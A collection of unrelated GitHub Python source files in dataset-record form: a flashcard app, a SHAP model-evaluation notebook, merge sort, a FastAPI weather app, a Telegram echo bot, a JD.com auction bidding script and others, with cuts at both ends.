1","repo_name":"pochiman/ProgrammingExpert","sub_path":"02_Programming_Fundamentals/15_While_Loops/question_4.py","file_name":"question_4.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36665427035","text":"from tkinter import *\nimport pandas as pd\nimport random\n\nBACKGROUND_COLOR = \"#B1DDC6\"\n\ntry:\n data = pd.read_csv('data/words_to_learn.csv')\nexcept FileNotFoundError:\n data = pd.read_csv('data/french_words.csv')\n\nto_learn = data.to_dict(orient='records')\ncurrent_card = {}\n\n# ---------------------------- next card------------------------------- #\ndef already_known():\n\n to_learn.remove(current_card)\n\n data_tosave = pd.DataFrame.from_dict(to_learn)\n data_tosave.to_csv(\"data/words_to_learn.csv\", index=False)\n\n next_card()\n\ndef next_card():\n global current_card, flip_timer\n window.after_cancel(flip_timer)\n current_card = random.choice(to_learn)\n canvas.itemconfig(language_text, text=\"French\", fill=\"black\")\n canvas.itemconfig(word_text, text=current_card[\"French\"], fill=\"black\")\n canvas.itemconfig(img_pic, image=front_image)\n flip_timer = window.after(3000, func=flip_card)\n canvas.update()\n\ndef flip_card():\n canvas.itemconfig(img_pic, image=back_img)\n canvas.itemconfig(language_text, text=\"English\", fill=\"white\")\n canvas.itemconfig(word_text, text=current_card[\"English\"], fill=\"white\")\n\n# ---------------------------- UI SETUP ------------------------------- #\n\nwindow = Tk()\nwindow.title(\"Flashy\")\nwindow.config(padx=50, pady=50, bg=BACKGROUND_COLOR)\n\nflip_timer = window.after(3000, func=flip_card)\nfront_image = PhotoImage(file=\"images/card_front.png\")\nback_img = PhotoImage(file=\"images/card_back.png\")\nright_image = PhotoImage(file=\"images/right.png\")\nwrong_image = PhotoImage(file=\"images/wrong.png\")\n\n# Canvas, tło\ncanvas = Canvas(width=800, height=526, bg=BACKGROUND_COLOR, highlightthickness=0)\nimg_pic = canvas.create_image(400, 263, image=front_image)\ncanvas.grid(column=1, row=1, columnspan=2)\n\nlanguage_text = canvas.create_text(400, 150, text=\"\", fill=\"black\", font=(\"Ariel\", 40, \"italic\"))\nword_text = canvas.create_text(400, 263, text=\"\", fill=\"black\", font=(\"Ariel\", 60, \"bold\"))\n\n# Button\nright_button = Button(image=right_image, highlightthickness=0, command=already_known)\nwrong_button = Button(image=wrong_image, highlightthickness=0, command=next_card)\n\nright_button.grid(column=2, row=2)\nwrong_button.grid(column=1, row=2)\n\nnext_card()\n\nwindow.mainloop()","repo_name":"Maciej-Koster/Python","sub_path":"Day 31 Flash card/main_31.py","file_name":"main_31.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31639893549","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ### Libs\n\n# In[1]:\n\n\nimport shap\nimport joblib\nimport pandas as pd\nfrom sklearn import metrics as skmetrics\nfrom sklearn import metrics\n\n\n# In[2]:\n\n\npd.set_option('display.max_columns', 100)\npd.set_option('display.max_rows', 100)\n\n\n# ### Variáveis categóricas\n\n# In[3]:\n\n\ndef dtype_category():\n return {\n 'AP_TPUPS': 'category',\n 'AP_TIPPRE': 'category',\n 'AP_MN_IND': 'category',\n 'AP_SEXO': 'category',\n 'AP_RACACOR': 'category',\n 'AP_UFDIF': 'bool',\n 'AQ_TRANTE': 'category',\n 'AQ_CONTTR': 'category'\n }\n\n\n# ### Carrega datasets\n\n# In[4]:\n\n\ndf_train = pd.read_csv(\n '../data/Banco_Datathon/Banco_Datathon/processed/train_v4.csv', \n index_col=0,\n dtype=dtype_category()\n)\ndf_test = pd.read_csv(\n '../data/Banco_Datathon/Banco_Datathon/processed/test_v4.csv', \n index_col=0,\n dtype=dtype_category()\n)\nmodel = joblib.load(f\"../model/model_lgbm_v4.pkl\")\n\n\n# ### Modelo no formato pkl\n\n# In[5]:\n\n\nmodel\n\n\n# In[6]:\n\n\nprint(df_train.shape)\ndf_train.head()\n\n\n# ### Separa variáveis preditoras das variável resposta\n\n# In[7]:\n\n\ndef split_between_X_and_y(df, target):\n y = df[target]\n X = df.drop(columns=[target])\n \n return X, y\n\n\n# In[8]:\n\n\nX_train, y_train = split_between_X_and_y(df_train, target='tardio')\nX_test, y_test = split_between_X_and_y(df_test, target='tardio')\n\n\n# ### Shap - Interpretando o modelo\n\n# In[26]:\n\n\nexplainer = shap.TreeExplainer(model)\n\n\n# In[29]:\n\n\nshap_values = explainer.shap_values(X_train, tree_limit=1200)\n\n\n# In[30]:\n\n\nshap.summary_plot(shap_values, features=X_train, plot_type='bar', max_display=15, color='#117A65')\n\n\n# In[31]:\n\n\nshap.summary_plot(shap_values, X_train, plot_type='dot', show=True)\n\n\n# - `AP_NUIDADE` : A idade é a variável mais importante | Quanto maior a idade, menos diagnóstico tardio como visto aqui e em `notebooks/eda_mama`\n# - `AQ_CONTTR` : Continuidade do tratamento (S = Sim; N = Não) | Se sim, menos diagnóstico tardio como visto aqui e em `notebooks/eda_mama`\n# - `AP_MN_IND` : Estabelecimento Mantido / Individual | Se Individual, menos diagnóstico tardio como visto em `notebooks/eda_mama`\n# - `AQ_TRANTE` : Tratamentos anteriores (S = Sim; N = Não) | Se sim, menos diagnóstico tardio como visto em `notebooks/eda_mama`\n# - `ubs_max_2014` : Número máximo de UBSs no município de residência do paciente em 2014 | Quanto maior, menos diagnóstico tardio\n\n# ### Fontes\n\n# - Implementação do modelo LightGBM. Este modelo é baseado é um Gradient Boosting baseado em árvores de decisão. Fonte: https://lightgbm.readthedocs.io/en/latest/index.html\n# \n# - Interpretabilidade usando o Framework SHAP, baseado no Shapley Value da Teoria dos Jogos cooperativa. Fonte: https://arxiv.org/abs/1905.04610\n","repo_name":"alexandrerays/breast_cancer","sub_path":"notebooks/model_evaluation.py","file_name":"model_evaluation.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10347045384","text":"def merge(arr, left, middle, right):\n count_left = middle - left + 1 # count of elements in left half\n count_right = right - middle # count of elements in right half\n\n left_subarray = []\n right_subarray = []\n \n for i in range(0, count_left):\n left_subarray.append(arr[left + i])\n for j in range(0, count_right):\n right_subarray.append(arr[middle + 1 + j])\n\n # Merge the temporary arrays:\n i = 0 # Initial index of left subarray\n j = 0 # Initial index of right subarray\n k = left # Initial index of merged subarray\n while i < count_left and j < count_right:\n if left_subarray[i] <= right_subarray[j]:\n arr[k] = left_subarray[i]\n i += 1\n else:\n arr[k] = right_subarray[j]\n j += 1\n k += 1\n\n # Copy the remaining elements of the left subarray, if there are any:\n while i < count_left:\n arr[k] = left_subarray[i]\n i += 1\n k += 1\n\n # Copy the remaining elements of the right subarray, if there are any:\n while j < count_right:\n arr[k] = right_subarray[j]\n j += 1\n k += 1\n\ndef merge_sort(arr, left, right):\n if left < right:\n middle = (left + right) // 2\n merge_sort(arr, left, middle)\n merge_sort(arr, middle + 1, right)\n merge(arr, left, middle, right)\n\ndef main():\n arr = [int(x) for x in input().split()]\n merge_sort(arr, 0, len(arr) - 1)\n print(arr)\n \nif __name__ == \"__main__\":\n main()\n","repo_name":"TsHristov/Data-Structures-And-Algorithms","sub_path":"Algorithms/Sorting/Merge-Sort/Python/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"13195666449","text":"#!/usr/bin/python3\n\nfrom modularcalculatorinterface.gui.options.common import *\n\n\nclass AppearanceTab(OptionsTab):\n\n def initTab(self):\n layout = FixedFormLayout()\n\n themes = sorted([t['name'] for t in self.config.themes.values()])\n layout.addRow(\"Theme\", OptionComboBox(self, self.config.main['appearance'], 'theme', themes))\n\n buttonStyles = ['IconAndText', 'Icon', 'Text']\n buttonStylesText = ['Icon and text', 'Icon only', 'Text only']\n layout.addRow(\"Toolbar button style\", OptionComboBox(self, self.config.main['appearance'], 'button_style', buttonStylesText, ids=buttonStyles))\n\n self.setLayout(layout)\n","repo_name":"JordanL2/ModularCalculatorInterface","sub_path":"modularcalculatorinterface/gui/options/appearance.py","file_name":"appearance.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"29051613282","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 02 16:20:01 2022\n\n@author: Thomas\n\"\"\"\n\ndef interval(n,pas,x1):\n \n if n>0:\n return x1+(n-1)*pas\n else:\n return x1+(n+1)*pas\n\n\ndef calcul(n,pas,x1):\n \n return interval(n,pas,x1)**2-1.5*interval(n,pas,x1)\n\ndef pasAccelere():\n \n pas=0.05\n n=1\n x1=0.0\n\n if calcul(2,pas,x1)>calcul(1,pas,x1):\n while calcul(n+1,pas,x1)>calcul(n,pas,x1):\n n-=1\n pas=2*pas\n interval1=interval(n-1,pas,x1)\n interval2=interval(n,pas,x1)\n \n \n \n if calcul(2,pas,x1)calcul(1,pas,x1) and calcul(2,pas,x1)>calcul(1,pas,x1):\n interval1=interval(-2,pas,x1)\n interval2=interval(2,pas,x1)\n \n \n \n elif calcul(2,pas,x1)==calcul(3,pas,x1):\n interval1=interval(1,pas,x1)\n interval2=interval(2,pas,x1)\n\n return n,interval1,interval2,pas\n\nresultat=pasAccelere()\nn = resultat[0]\ninterval1 = resultat[1]\ninterval2 = resultat[2]\npas = resultat[3]\n\nprint(\"Le point de minimum est entre \",interval1,\" et \",interval2)\n","repo_name":"ThomasToto/Optimisation","sub_path":"Pas accéléré/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26017887697","text":"# This is the prep work for Age caluculator app \n\nimport datetime\nimport Tkinter as tk \n\nwindow=tk.TK() \nwindow.geometry(\"400*400\")\n\nclass Person:\n\n\tdef __init__(self,name,birthdate):\n\t\tself.name=name\n\t\tself.birthdate=birthdate \n\n\tdef age(self):\n\t\ttoday=datetime.date.today()\n\t\tage=today.year - self.birthdate.year \n\t\treturn age\n\nadi=Person('Aditya', datetime.date(1991,8,21))\nprint(adi.name)\nprint(adi.birthdate)\n\nprint(adi.age())\n\n","repo_name":"aditya21891/Pythonscript","sub_path":"Pyscripts/ageapp.py","file_name":"ageapp.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38474860751","text":"#\n# Main class to build a raw http syntax (response)\n# @levkany.dev\n#\n\nimport json\nfrom PyAPI.class_http_codes import HttpCodes\n\nclass HttpResponder():\n\n # initialize the default properties\n def __ini__(self):\n return None\n\n\n #\n # Return the parsed version of the raw http data\n # Notes: data param can be of type: STR/DICT\n #\n @staticmethod\n def build(status_code:int=200, data=False, overrides:dict={}):\n\n # convert data to json string if it is a dict\n if(dict == type(data)):\n data = json.dumps(data)\n\n\n # prepare defaults\n parsed_data = dict()\n parsed_data['HTTP'] = '1.1 '+ str(status_code)\n parsed_data['content-language'] = 'en-US'\n parsed_data['content-length'] = data.__len__()\n parsed_data['content-type'] = 'text/html; charset=UTF-8'\n parsed_data['data'] = str(data)\n\n # add / override headers based on passed ones\n if(False != overrides):\n for key in overrides:\n parsed_data[str(key).lower()] = overrides[key]\n\n # build raw string and return\n opt = ''\n for key in parsed_data:\n if('HTTP' == key):\n opt += 'HTTP/' + str(parsed_data[key]) + ' ' + HttpCodes.get(status_code)['msg'] + '\\r\\n'\n elif('data' != key):\n opt += str(key) + ': ' + str(parsed_data[key]) + '\\r\\n'\n\n # append the response data at the end to avoid missing header overrides\n opt += '\\r\\n' + parsed_data['data'] + '\\r\\n'\n return opt","repo_name":"levkany/PyAPI","sub_path":"PyAPI/class_http_responder.py","file_name":"class_http_responder.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"41975357751","text":"from loguru import logger\nimport re\n\nfrom datetime import datetime as dt\nfrom random import choice\n\nfrom thefuzz.fuzz import token_set_ratio as ratio\n\nfrom constants.responses import CONST_RESPONSES_MAP\nfrom constants.config import Constants\n\n\nCONSTANTS = Constants()\n\n\nclass UserMessage:\n def __init__(self, user_query: str):\n self.user_query: str = user_query\n self.post_process_sequence: list = []\n self.possible_responses: str = []\n self.raw_response: str = \"\"\n self.raw_response_score: float = 0.0\n self.raw_response_entities = []\n self.processed_response: str = \"\"\n\n self.run()\n\n def handle_time(self):\n \"\"\"adds a time value in HH:MM to input string,/\n which has to be formattable\n\n Args:\n resp_str (str): response to an FAQ usually\n\n Returns:\n str: same as resp_str but with current time\n \"\"\"\n current_time = dt.now()\n timevars: dict = {\n \"hh_mm\": current_time.strftime(\"%H:%M\"),\n \"day\": current_time.strftime(\"%A\"),\n \"dd\": current_time.day,\n \"mm\": current_time.month,\n \"yyyy\": current_time.year,\n }\n logger.info(self.raw_response_entities)\n response_map = {\n i: timevars.get(i) for i in self.raw_response_entities\n }\n if None in response_map.values():\n logger.exception(\"time values error, state is: {}\".format(str(timevars)))\n else:\n logger.info(response_map)\n self.processed_response = self.raw_response.format(**response_map)\n\n def handle_weather(self):\n weather_component: str = \"\"\n logger.warning(\n \"weather component not implemented yet: {}\".format(weather_component)\n )\n self.processed_response = \"I don't know how to answer that yet.\"\n\n def fetch_response_entities(self):\n match_list = []\n try:\n match_list = [i[1:-1] for i in re.findall(r\"\\{.*?\\}\", self.raw_response)]\n except Exception as exc:\n logger.exception(\"Could not process entities: {}\".format(str(exc)))\n self.raw_response_entities = match_list\n\n def select_answer(self):\n try:\n user_query: str = self.user_query\n logger.info(user_query)\n if CONST_RESPONSES_MAP.get(user_query):\n possible_response_matches = [(CONST_RESPONSES_MAP.get(user_query), 100)]\n else:\n possible_response_matches = []\n for possible_match in CONST_RESPONSES_MAP:\n match_ratio = ratio(user_query, possible_match)\n if match_ratio >= CONSTANTS.query_fuzzy_match_threshold:\n possible_response_matches.append((possible_match, match_ratio))\n if len(possible_response_matches):\n logger.info(possible_response_matches)\n possible_response_matches.sort(key=lambda x: x[1], reverse=True)\n final_response = CONST_RESPONSES_MAP[possible_response_matches[0][0]]\n else:\n final_response = CONST_RESPONSES_MAP.get(\"ERR_SYS_BOT_DETECT_FAIL\", {})\n except Exception as exc:\n logger.exception(\"Error detecting response: {}\".format(str(exc)))\n final_response = \"Sorry, something seems to have gone wrong\"\n logger.info(final_response)\n self.post_process_sequence = final_response.get(\"postProcessSequence\", [])\n self.possible_responses = possible_response_matches\n response_options_list = final_response.get(\"validResponses\", [])\n self.raw_response = choice(response_options_list)\n\n def run(self):\n self.select_answer()\n self.fetch_response_entities()\n if len(self.post_process_sequence):\n for func in self.post_process_sequence:\n getattr(self, func)()\n else:\n self.processed_response = self.raw_response\n\n def __str__(self):\n return self.processed_response\n","repo_name":"essnine/sitebot","sub_path":"services/postprocess.py","file_name":"postprocess.py","file_ext":"py","file_size_in_byte":4042,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"25983549924","text":"from odoo import models, fields, api\n\n\nclass ServiceTable(models.Model):\n _name = 'event.service.table'\n _description = 'Service Table'\n\n description = fields.Text(string=\"Description\")\n quantity = fields.Integer(string=\"Quantity\")\n unit_price = fields.Float(string=\"Unit Price\")\n subtotal = fields.Float(compute=\"_compute_subtotal\")\n total = fields.Float()\n\n service_id = fields.Many2one('event.service')\n\n @api.depends('unit_price', 'quantity')\n def _compute_subtotal(self):\n for record in self:\n record.subtotal = record.unit_price * record.quantity\n","repo_name":"arwaansari/event_management","sub_path":"models/event_sevice_table.py","file_name":"event_sevice_table.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74552473362","text":"\nimport requests\nfrom fastapi import FastAPI, Request\nfrom fastapi.templating import Jinja2Templates\ntemplates = Jinja2Templates(directory=\"templates\")\nimport json \nimport os\nfrom datetime import datetime\nimport math\nfrom fastapi import FastAPI\nimport uvicorn\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import Form\n\n\n\n\napp = FastAPI()\ntemplates = Jinja2Templates(directory=\"templates\")\n\n@app.get(\"/\")\nasync def search_form(request: Request):\n return templates.TemplateResponse(\"index.html\", {\"request\": request})\n\n@app.post(\"/weather/report\",response_class=HTMLResponse)\nasync def weather_report(request: Request, city_name: str = Form(...)):\n user_api=\"fc802b05fccf507b6a3a1cbffdd0e3a4\"\n complete_api_link=\"https://api.openweathermap.org/data/2.5/weather?q=\"+city_name+\"&appid=\"+user_api\n api_link=requests.get(complete_api_link)\n api_data=api_link.json()\n\n if api_data['cod']=='404':\n print(\"Invalidcity: {}, please check your city name\".format(city_name))\n res = (\"Invalidcity: {}, please check your city name\".format(city_name))\n return templates.TemplateResponse(\"index.html\",{\"request\": request, \"res\": res, \"status\": \"404\", \"city_name\": city_name })\n \n else:\n dic={}\n temp_city=str(int((api_data['main']['temp'])-273.15))+\" celsius\"\n dic['current_temperature']=temp_city\n weather_desc=api_data['weather'][0]['description']\n dic['current_weather_desc']=weather_desc\n hmdt=str(api_data['main']['humidity'])+\" %\"\n dic['current_Humidity']=hmdt\n wind_spd=api_data['wind']['speed']\n print(wind_spd,type(wind_spd))\n dic['current_wind_speed']=str(wind_spd)\n date_time=datetime.now().strftime(\"%d %b %Y | %I:%M:%S:%p\")\n dic['date_time']=date_time\n\n return templates.TemplateResponse(\"index.html\", {\"request\": request, \"data\": dic, \"city_name\": city_name})\n\n\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"0.0.0.0\", port=8000)","repo_name":"madhujha12/weather-app-using-python-FastAPI-","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34515352911","text":"#!/usr/bin/env python\nfrom peacock.utils import TerminalUtils\nfrom peacock.utils import Testing\n\nclass Tests(Testing.PeacockTester):\n def test_convert(self):\n output = \"\\33[1m\\33[31mred <&> text\\33[39m\"\n html_output = TerminalUtils.terminalOutputToHtml(output)\n self.assertEqual('red <&> text', html_output)\n\n output = \"\\n\\33[1m\\33[31m\\nfoo\\nred text\\n\\33[39m\"\n html_output = TerminalUtils.terminalOutputToHtml(output)\n self.assertEqual('\\n\\nfoo\\nred text\\n', html_output)\n\n # bad color code\n output = \"\\33[1m\\33[10munknown color\\33[39m\"\n html_output = TerminalUtils.terminalOutputToHtml(output)\n self.assertEqual('unknown color', html_output)\n\nif __name__ == '__main__':\n Testing.run_tests()\n","repo_name":"mazajump/FEA-PhaseField-Moose","sub_path":"python/peacock/tests/utils/test_TerminalUtils.py","file_name":"test_TerminalUtils.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"72189765203","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n\n def get_head(self):\n return self.head\n\n def is_empty(self):\n if self.head is None:\n return True\n return False\n\n def insert_at_head(self, data):\n # create a temp node for data\n temp_node = Node(data)\n\n # let your temp node point to data which\n # head node is pointing to\n temp_node.next = self.head\n\n self.head = temp_node\n\n return self.head\n\n def insert_at_end(self, data):\n # create a temp node\n temp_node = Node(data)\n\n if self.is_empty():\n self.insert_at_head(data)\n else:\n temp = self.head\n while temp.next is not None:\n temp = temp.next\n temp.next = temp_node\n return self.head\n\n def print_list(self):\n temp = self.head\n\n while temp is not None:\n print(f\"{temp.data} => \", end=\"\")\n temp = temp.next\n print(\" end\")\n\n\nif __name__ == \"__main__\":\n li = LinkedList()\n li.insert_at_head(5)\n li.insert_at_head(7)\n li.insert_at_end(10)\n li.print_list()\n","repo_name":"sswapnil2/data-structures-algorithms","sub_path":"linklist/insertion_at_head.py","file_name":"insertion_at_head.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40291226838","text":"import logging\nimport os\nimport telegram\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters\n\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\nlogger = logging.getLogger(__name__)\nTOKEN = os.getenv('TOKEN', None)\n\n\ndef start(update, context):\n \"\"\"Send a message when the command /oi is issued.\"\"\"\n update.message.reply_text('Oi!')\n\n\ndef help(update, context):\n \"\"\"Send a message when the command /ajuda is issued.\"\"\"\n update.message.reply_text('Ajuda!')\n\n\ndef echo(update, context):\n \"\"\"Echo the user message.\"\"\"\n update.message.reply_text(update.message.text)\n\n\ndef error(update, context):\n \"\"\"Log Errors caused by Updates.\"\"\"\n logger.warning('Update \"%s\" caused error \"%s\"', update, context.error)\n\n\ndef main():\n \"\"\"Start the bot.\"\"\"\n updater = Updater(TOKEN, use_context=True)\n\n dp = updater.dispatcher\n\n dp.add_handler(CommandHandler(\"oi\", start))\n dp.add_handler(CommandHandler(\"ajuda\", help))\n\n dp.add_handler(MessageHandler(Filters.text, echo))\n dp.add_error_handler(error)\n updater.start_polling()\n updater.idle()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"murilobsd/dolores","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25156412587","text":"from cell_extractor.CellDetector import detect_cell\nimport argparse\nfrom cell_extractor.CellDetectorBase import CellDetectorBase\n\ndef run_from_terminal():\n parser = argparse.ArgumentParser()\n parser.add_argument('--animal', type=str, help='Animal ID')\n parser.add_argument('--disk', type=str, help='storage disk')\n parser.add_argument('--round', type=int, help='model version',default=2)\n args = parser.parse_args()\n braini = args.animal\n disk = args.disk\n round = args.round\n detect_cell(braini,disk = disk,round=round)\n\ndef run_as_script():\n base = CellDetectorBase()\n animals = base.get_available_animals()\n animals.remove('DK39')\n animals.remove('DK78')\n for animali in animals:\n print(f'detectiong cells for {animali}')\n detect_cell(animali,disk = '/net/birdstore/Active_Atlas_Data',round=2,segmentation_threshold=2000)\n\nif __name__ =='__main__':\n # run_from_terminal()\n run_as_script()\n ","repo_name":"ActiveBrainAtlas2/preprocessing-pipeline","sub_path":"in_development/Will/old/cell_extractor/scripts/detect_cell_for_one_brain.py","file_name":"detect_cell_for_one_brain.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"7562731133","text":"import requests\nimport os\nimport re\nimport time\nimport json\nfrom userAgent import Agent\nfrom random import randint\nfrom lxml import etree\nfrom selenium import webdriver\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\n\nclass jddbd:\n # 初始化\n def __init__(self):\n self.baseurl = \"http://dbd.jd.com/\"\n self.loginurl = \"https://passport.jd.com/new/login.aspx?ReturnUrl=http%3A%2F%2Fdbd.jd.com%2Findex.html\"\n self.driver = webdriver.Chrome()\n try:\n with open(basedir + '/cookies.txt', 'r') as f:\n self.cookies = f.readline()\n except:\n self.getCookies()\n with open(basedir + '/cookies.txt', 'r') as f:\n self.cookies = f.readline()\n\n # 获取cookies保存到文件中\n def getCookies(self):\n self.driver.get(self.loginurl)\n time.sleep(20)\n print(self.driver.current_url)\n if self.driver.current_url == 'http://dbd.jd.com/index.html':\n # print(self.driver.page_source)\n cookie = [item[\"name\"] + \"=\" + item[\"value\"] for item in self.driver.get_cookies()]\n cookiestr = ';'.join(item for item in cookie)\n with open(basedir + '/cookies.txt', 'w') as f:\n f.write(cookiestr)\n else:\n pass\n\n def queryCurrentPrice(self, paimaiid):\n s = requests.session()\n headers = {\n \"Host\": \"dbditem.jd.com\",\n \"Connection\": \"close\",\n \"User-Agent\": Agent[randint(0, 3)]['User-Agent'],\n }\n query_url = 'http://dbditem.jd.com/services/currentList.action?paimaiIds={0}&curPaimaiId={1}&callback=jsonp_1507620597893&_=1507620597893' \\\n .format(paimaiid, paimaiid)\n try:\n r = s.get(query_url, headers=headers,timeout=1)\n result_json = re.search(r'{.*}', r.text)\n result_dict = json.loads(result_json.group())\n return result_dict\n except:\n print(\"查询商品价格超过1s\")\n\n # 获取拍卖商品封顶价格\n def queryMaxPrice(self, paimaiid):\n s = requests.session()\n headers = {\n \"Host\": \"dbditem.jd.com\",\n \"Connection\": \"close\",\n \"User-Agent\": Agent[randint(0, 3)]['User-Agent'],\n }\n query_url = \"http://dbditem.jd.com/json/current/queryJdPrice?paimaiId={0}\".format(paimaiid)\n try:\n r = s.get(query_url, headers=headers,timeout=1)\n max_price = json.loads(r.text)['jdPrice']\n return int(max_price)\n except:\n print(\"查询最大价格超过1s\")\n\n\n # 出价\n def setPrice(self, paimaiid):\n s = requests.session()\n headers = {\n \"Accept\": \"application/json,text/javascript,*/*;q=0.01\",\n \"Accept-Encoding\": \"gzip,deflate\",\n \"Accep-Language\": \"zh-CN,zh;q=0.8\",\n \"Connection\": \"keep-alive\",\n \"Cookie\": self.cookies,\n \"Host\": \"dbditem.jd.com\",\n \"Referer\": \"http://dbditem.jd.com/\" + paimaiid,\n \"User-Agent\": Agent[randint(0, 3)]['User-Agent'],\n \"X-Requested-With\": \"XMLHttpRequest\",\n }\n current_result = self.queryCurrentPrice(paimaiid)\n currentPrice = int(current_result['currentPriceStr'].split('.')[0])\n price_url = \"http://dbditem.jd.com/services/bid.action?t=116989&paimaiId={0}&price={1}&proxyFlag=0&bidSource=0\".format(\n paimaiid,currentPrice+1)\n r = s.get(price_url, headers=headers)\n message = json.loads(r.text)['message']\n # 如果cookies过期则重新获取cookies\n print(\"message:\"+message)\n if message == u\"尚未登录，稍后将跳转至登陆页面\":\n self.getCookies()\n else:\n print(message)\n\n myPrice = 0\n while True:\n try:\n # 对产品当前价格及时间进行查询确定\n current_result = self.queryCurrentPrice(paimaiid)\n currentPrice = int(current_result['currentPriceStr'].split('.')[0])\n remainTime = current_result['remainTime']\n accessNum = current_result['accessNum']\n maxprice = self.queryMaxPrice(paimaiid)\n\n if remainTime == -1:\n print(\"商品{0}竞拍结束\".format(paimaiid))\n break\n else:\n pass\n info_str = \"\"\"当前请求商品id:{0}\\n当前价格为:{1}\\n竞拍剩余时间:{2}ms\\n竞拍次数:{3}\\n竞拍原价:{4}\\n\n \"\"\".format(paimaiid, currentPrice, remainTime, accessNum, maxprice)\n print(info_str)\n\n #当前价格不等于自己出过得价格，10秒内\n if remainTime<=10000 and myPrice!=currentPrice and currentPrice<=2050:#maxprice*0.65:\n price_url = \"http://dbditem.jd.com/services/bid.action?t=116989&paimaiId={0}&price={1}&proxyFlag=0&bidSource=0\".format(\n paimaiid,currentPrice+1)\n print(\"当前出价:{0}\".format(currentPrice+1))\n r = s.get(price_url, headers=headers)\n message = json.loads(r.text)['message']\n\n print(\"接口返回消息:{0}\".format(message))\n #如果出价频率过快则暂停1秒钟\n if message == u\"拍卖出价频率过快\":\n time.sleep(1)\n elif message == u\"尚未登录，稍后将跳转至登陆页面\":\n self.getCookies()\n elif message == u\"出价成功\":\n print(\"出价成功\")\n myPrice = currentPrice+1\n else:\n print(\"接���返回:{0}\".format(message))\n else:\n print(\"没达到出价条件不出价..\")\n\n except:\n print(\"接口超时\")\n\n def __del__(self):\n self.driver.close()\n\n\nif __name__ == '__main__':\n jddb1 = jddbd()\n paimaiid_list = ['16605838']\n for paimaiid in paimaiid_list:\n jddb1.setPrice(paimaiid)\n\n","repo_name":"leimin78/jddbd","sub_path":"dbd.py","file_name":"dbd.py","file_ext":"py","file_size_in_byte":6175,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"37924260954","text":"import os\nimport tensorflow as tf\nimport numpy as np\nimport sys\n\nsys.path.insert(0, os.path.dirname(__file__)[:-4])\n#from main.config import cfg\n\nfrom models.dwd_net import build_dwd_net\n\nfrom datasets.factory import get_imdb\nfrom tensorflow.contrib import slim\nfrom utils.safe_softmax_wrapper import safe_softmax_cross_entropy_with_logits\nimport roi_data_layer.roidb as rdl_roidb\nfrom roi_data_layer.layer import RoIDataLayer\n#from utils.prefetch_wrapper import PrefetchWrapper\nfrom utils.prefetch_wrapper_cache import PrefetchWrapperCache as PrefetchWrapper\n\n\nfrom tensorflow.python.ops import array_ops\nimport pickle\nfrom PIL import Image\nfrom PIL import ImageFont\nfrom PIL import ImageDraw\nimport json\nimport hashlib\nimport copy\nimport datetime\nimport shutil\n\n\n\nfrom datasets.fcn_groundtruth import stamp_class, stamp_directions, stamp_energy, stamp_bbox, stamp_semseg, \\\n try_all_assign, get_gt_visuals, get_map_visuals, overlayed_image\n\nnr_classes = None\nstore_dict = True\n\n\ndef main(parsed):\n args = parsed[0]\n print(args)\n\n iteration = 1\n np.random.seed(args.random_seed)\n\n # load database\n imdb_train, roidb_train, imdb_val, roidb_val, data_layer_train, data_layer_val = load_database(args)\n\n imdb = [imdb_train, imdb_val]\n data_layer = [data_layer_train, data_layer_val]\n\n\n #global nr_classes\n nr_classes = len(imdb_train._classes)\n args.nr_classes.append(nr_classes)\n args.semseg_ind = imdb_train.semseg_index()\n\n fingerprint = build_config_fingerprint(args)\n\n args_txt = copy.deepcopy(args)\n # replaces keywords with function handles in training assignements\n save_objectness_function_handles(args)\n\n # tensorflow session\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n sess = tf.Session(config=config)\n\n # input and output tensors\n if 